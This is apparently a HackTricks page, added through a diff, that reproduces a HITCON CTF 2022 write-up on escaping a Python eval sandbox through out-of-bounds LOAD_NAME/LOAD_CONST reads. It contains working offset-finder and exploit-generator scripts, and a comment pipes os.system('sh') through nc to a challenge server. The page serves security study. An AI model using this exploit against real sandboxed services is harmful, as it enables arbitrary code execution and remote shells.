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* [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
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* [venv](generic-methodologies-and-resources/python/venv.md)
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* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
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* [LOAD\_NAME / LOAD\_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load\_name-load\_const-opcode-oob-read.md)
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* [Output Searching Python internals](generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md)
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* [Web Requests](generic-methodologies-and-resources/python/web-requests.md)
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* [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
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@ -0,0 +1,257 @@
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# LOAD\_NAME / LOAD\_CONST opcode OOB Read
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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**This info was taken** [**from this writeup**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
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### TL;DR <a href="#tldr-2" id="tldr-2"></a>
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We can use OOB read feature in LOAD\_NAME / LOAD\_CONST opcode to get some symbol in the memory. Which means using trick like `(a, b, c, ... hundreds of symbol ..., __getattribute__) if [] else [].__getattribute__(...)` to get a symbol (such as function name) you want.
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Then just craft your exploit.
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### Overview <a href="#overview-1" id="overview-1"></a>
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The source code is pretty short, only contains 4 lines!
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```python
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source = input('>>> ')
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if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
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code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
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print(eval(code, {'__builtins__': {}}))1234
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```
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You can input arbitrary Python code, and it'll be compiled to a [Python code object](https://docs.python.org/3/c-api/code.html). However `co_consts` and `co_names` of that code object will be replaced with an empty tuple before eval that code object.
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So in this way, all the expression contains consts (e.g. numbers, strings etc.) or names (e.g. variables, functions) might cause segmentation fault in the end.
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### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>
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How does the segfault happen?
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Let's start with a simple example, `[a, b, c]` could compile into the following bytecode.
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```
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1 0 LOAD_NAME 0 (a)
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2 LOAD_NAME 1 (b)
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4 LOAD_NAME 2 (c)
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6 BUILD_LIST 3
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8 RETURN_VALUE12345
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```
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But what if the `co_names` become empty tuple? The `LOAD_NAME 2` opcode is still executed, and try to read value from that memory address it originally should be. Yes, this is an out-of-bound read "feature".
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The core concept for the solution is simple. Some opcodes in CPython for example `LOAD_NAME` and `LOAD_CONST` are vulnerable (?) to OOB read.
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They retrieve an object from index `oparg` from the `consts` or `names` tuple (that's what `co_consts` and `co_names` named under the hood). We can refer to the following short snippest about `LOAD_CONST` to see what CPython does when it proccesses to `LOAD_CONST` opcode.
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```c
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case TARGET(LOAD_CONST): {
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PREDICTED(LOAD_CONST);
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PyObject *value = GETITEM(consts, oparg);
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Py_INCREF(value);
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PUSH(value);
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FAST_DISPATCH();
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}1234567
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```
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In this way we can use the OOB feature to get a "name" from arbitrary memory offset. To make sure what name it has and what's it's offset, just keep trying `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... And you could find something in about oparg > 700. You can also try to use gdb to take a look at the memory layout of course, but I don't think it would be more easier?
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### Generating the Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>
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Once we retrieve those useful offsets for names / consts, how _do_ we get a name / const from that offset and use it? Here is a trick for you:\
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Let's assume we can get a `__getattribute__` name from offset 5 (`LOAD_NAME 5`) with `co_names=()`, then just do the following stuff:
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```python
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[a,b,c,d,e,__getattribute__] if [] else [
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[].__getattribute__
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# you can get the __getattribute__ method of list object now!
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]1234
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```
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> Notice that it is not necessary to name it as `__getattribute__`, you can name it as something shorter or more weird
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You can understand the reason behind by just viewing it's bytecode:
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```python
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0 BUILD_LIST 0
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2 POP_JUMP_IF_FALSE 20
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>> 4 LOAD_NAME 0 (a)
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>> 6 LOAD_NAME 1 (b)
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>> 8 LOAD_NAME 2 (c)
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>> 10 LOAD_NAME 3 (d)
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>> 12 LOAD_NAME 4 (e)
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>> 14 LOAD_NAME 5 (__getattribute__)
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16 BUILD_LIST 6
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18 RETURN_VALUE
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20 BUILD_LIST 0
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>> 22 LOAD_ATTR 5 (__getattribute__)
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24 BUILD_LIST 1
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26 RETURN_VALUE1234567891011121314
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```
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Notice that `LOAD_ATTR` also retrieve the name from `co_names`. Python loads names from the same offset if the name is the same, so the second `__getattribute__` is still loaded from offset=5. Using this feature we can use arbitrary name once the name is in the memory nearby.
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For generating numbers should be trivial:
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* 0: not \[\[]]
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* 1: not \[]
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* 2: (not \[]) + (not \[])
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* ...
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### Exploit Script <a href="#exploit-script-1" id="exploit-script-1"></a>
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I didn't use consts due to the length limit.
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First here is a script for us to find those offsets of names.
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```python
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from types import CodeType
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from opcode import opmap
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from sys import argv
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class MockBuiltins(dict):
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def __getitem__(self, k):
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if type(k) == str:
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return k
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if __name__ == '__main__':
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n = int(argv[1])
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code = [
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*([opmap['EXTENDED_ARG'], n // 256]
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if n // 256 != 0 else []),
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opmap['LOAD_NAME'], n % 256,
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opmap['RETURN_VALUE'], 0
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]
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c = CodeType(
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0, 0, 0, 0, 0, 0,
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bytes(code),
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(), (), (), '<sandbox>', '<eval>', 0, b'', ()
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)
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ret = eval(c, {'__builtins__': MockBuiltins()})
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if ret:
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print(f'{n}: {ret}')
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# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
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```
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And the following is for generating the real Python exploit.
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```python
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import sys
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import unicodedata
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class Generator:
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# get numner
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def __call__(self, num):
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if num == 0:
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return '(not[[]])'
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return '(' + ('(not[])+' * num)[:-1] + ')'
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# get string
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def __getattribute__(self, name):
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try:
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offset = None.__dir__().index(name)
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return f'keys[{self(offset)}]'
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except ValueError:
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offset = None.__class__.__dir__(None.__class__).index(name)
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return f'keys2[{self(offset)}]'
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_ = Generator()
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names = []
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chr_code = 0
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for x in range(4700):
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while True:
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chr_code += 1
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char = unicodedata.normalize('NFKC', chr(chr_code))
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if char.isidentifier() and char not in names:
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names.append(char)
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break
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offsets = {
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"__delitem__": 2800,
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"__getattribute__": 2850,
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'__dir__': 4693,
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'__repr__': 2128,
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}
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variables = ('keys', 'keys2', 'None_', 'NoneType',
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'm_repr', 'globals', 'builtins',)
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for name, offset in offsets.items():
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names[offset] = name
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for i, var in enumerate(variables):
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assert var not in offsets
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names[792 + i] = var
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source = f'''[
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({",".join(names)}) if [] else [],
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None_ := [[]].__delitem__({_(0)}),
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keys := None_.__dir__(),
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NoneType := None_.__getattribute__({_.__class__}),
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keys2 := NoneType.__dir__(NoneType),
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get := NoneType.__getattribute__,
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m_repr := get(
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get(get([],{_.__class__}),{_.__base__}),
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{_.__subclasses__}
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)()[-{_(2)}].__repr__,
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globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
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builtins := globals[[*globals][{_(7)}]],
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builtins[[*builtins][{_(19)}]](
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builtins[[*builtins][{_(28)}]](), builtins
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)
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]'''.strip().replace('\n', '').replace(' ', '')
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print(f"{len(source) = }", file=sys.stderr)
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print(source)
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# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
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12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
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```
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It basically does the following things, for those strings we get it from the `__dir__` method:
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```python
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getattr = (None).__getattribute__('__class__').__getattribute__
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builtins = getattr(
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getattr(
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getattr(
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[].__getattribute__('__class__'),
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'__base__'),
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'__subclasses__'
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)()[-2],
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'__repr__').__getattribute__('__globals__')['builtins']
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builtins['eval'](builtins['input']())
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```
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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